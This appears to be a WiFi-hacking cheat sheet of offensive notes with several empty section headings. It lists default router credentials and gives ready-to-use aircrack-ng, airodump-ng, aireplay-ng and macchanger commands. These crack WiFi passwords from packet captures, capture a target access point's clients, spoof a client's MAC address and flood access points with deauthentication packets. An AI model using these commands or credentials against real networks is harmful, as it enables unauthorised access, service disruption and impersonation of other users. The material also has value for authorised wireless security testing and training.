WiFi Hacking

Investigation

Online Tools

Check Status

    # IP address
    ip addr
    # IP address - Show the specific interface only
    ip addr show eth0
    ip addr show eth1
    ip addr show tun0

    # IPv4 only
    ip -4 addr
    # IPv6 only
    ip -6 addr

    # Static route
    ip route

    ip link delete docker0

    ipconfig

    # Outputs

    ...

    Default gateway . . . . . : 192.168.1.1

    arp -av

    curl https://api.ipify.org

Alternatively, we can get the public ip online like https://www.whatismyip.com/.

Crack WiFi Passwords

Default Router Credentials

admin:Admin
admin:admin
admin:password
admin:Michelangelo
root:admin
root:alpine
sitecom:Admin
telco:telco

Crack from A Packet Capture File

If we have a packet capture file (.cap or .pcap) of the WiFi network, we can crack the WiFi password using the file.

aircrack-ng example.cap -w wordlist.txt

Find BSSID From SSID

  1. Access to WiGLE and login.
  2. Go to View → Advanced Search.
  3. Open the General Search tab.
  4. Input the SSID in the SSID/Network Name.
  5. Check the result.

MAC Address Spoofing

First of all, you need to use network adapter which has monitor mode on your machine.
Aircrack-ng is a complete suite of tools to assess WiFi network security.

  1. Preparation
    # Show available interfaces
    airmon-ng

    # Put an interface into monitor mode
    airmon-ng start wlan0
    airmon-ng start eth0
    # or
    iwconfig wlan0 mode monitor
    iwconfig eth0 mode monitor

    # Choose the access point (monitor mode)
    airodump-ng wlan0mon
  1. Retrieve Client's MAC Addresses
    # Retrieve client's MAC address from the chosen access point
    # -c 9: channel 9
    # --bssid: target router MAC address
    # -w psk: the dump file prefix
    # eth0: interface name
    airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -i wlan0mon
    airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk eth0
  1. Spoof MAC Address using the Retrieved Address
    # Take down the network at first
    ip link set wlan0 down

    # Set MAC address which you got by airodump-ng in the previous section
    macchanger -m XX:XX:XX:XX:XX:XX wlan0

    # Bring up the network
    ip link set wlan0 up
  1. Confirmation
    # Check the current MAC address
    macchanger -s wlan0
  1. Reset to the Original MAC Address
    # Reset to the original (permanent) MAC address
    macchanger -p wlan0

Other Useful Tools

[Modes]

Wireless cards coud be in several modes: - Managed - Monitor

[Type of Attacks] - Deauthentication :: Used to disconnect any device from the Ap. - aireplay-ng --deauth [# of packets] -a [AP] [interface]

[Anonimity]

[Configure NIC into Monitor Mode]

[Monitoring Wireless Networks]

[Airodump-ng]

sudo airodump-ng [interface] sudo airodump-ng --channel 1 --bssid B2:AB:E4:98:07:09 --write capture/O57 wlan0mon sudo airodump-ng --channel 6 --bssid B2:AB:E4:98:07:09 --write out mon0 sudo airodump-ng --write O57 --output-format csv wlan0mon

[airodump-ng fields]

BSSID :: Mac Address's Victim Access Point (AP) PWR :: Strenght of the signal BEACONS :: DATA :: /s :: CH :: MB :: Max speed supported by the AP. ENC :: Encription used by the AP. :: WEP, WPA, WPA2 Cipher :: Cipher used to encrypt the packet :: WEB, CCMP, TKIP Auth :: Type of authentication :: PSK, MGT ESSID

Station :: Client connected to the AP. Rate :: Lost Frames Probe

[airdrop]

sudo airdrop-ng -t [csv-file] -r [rules-file] -i [interface] sudo airdrop-ng -t file.csv -r airdrop-rules.txt -i mon0

[Deauthentication]

sudo aireplay-ng --deauth [Number of packets] -a [AP] [interface] sudo aireplay-ng --deauth 1000 -a B2:AB:E4:98:07:09 wlan0mon

:: Deauthenticate an specific client ::

[Fake AP]

[WEP]

airodump-ng [interface] airodump-ng -c[CHANNEL] -w[FILE] --bssid[BSSID] wlan0mon aireplay-ng -0 4 -a [MAC] wlan0mon aircrack-ng -w[wordlist] file.cap

[Crunch + Aircrack]

Crunch generates wordlists in both combination and permutation ways

[Reaver]

BSSID PWR BEACONS #DATA #/s CH MB ENC CIPHER AUTH ESSID

[NOTES]

[WEP]

[WPA]

[LORCON]

lorcon (acronym for Loss Of Radio CONnectivity) is an open source network tool. It is a library for injecting 802.11 (WLAN) frames, capable of injecting via multiple driver frameworks, without the need to change the application code. Lorcon is built by patching the third-party MadWifi-driver for cards based on the Qualcomm Atheros wireless chipset.[1][2][3]

:: Links ::

http://www.elladodelmal.com/2008/08/atacar-wpawpa2-psk-parte-i-de-iv.html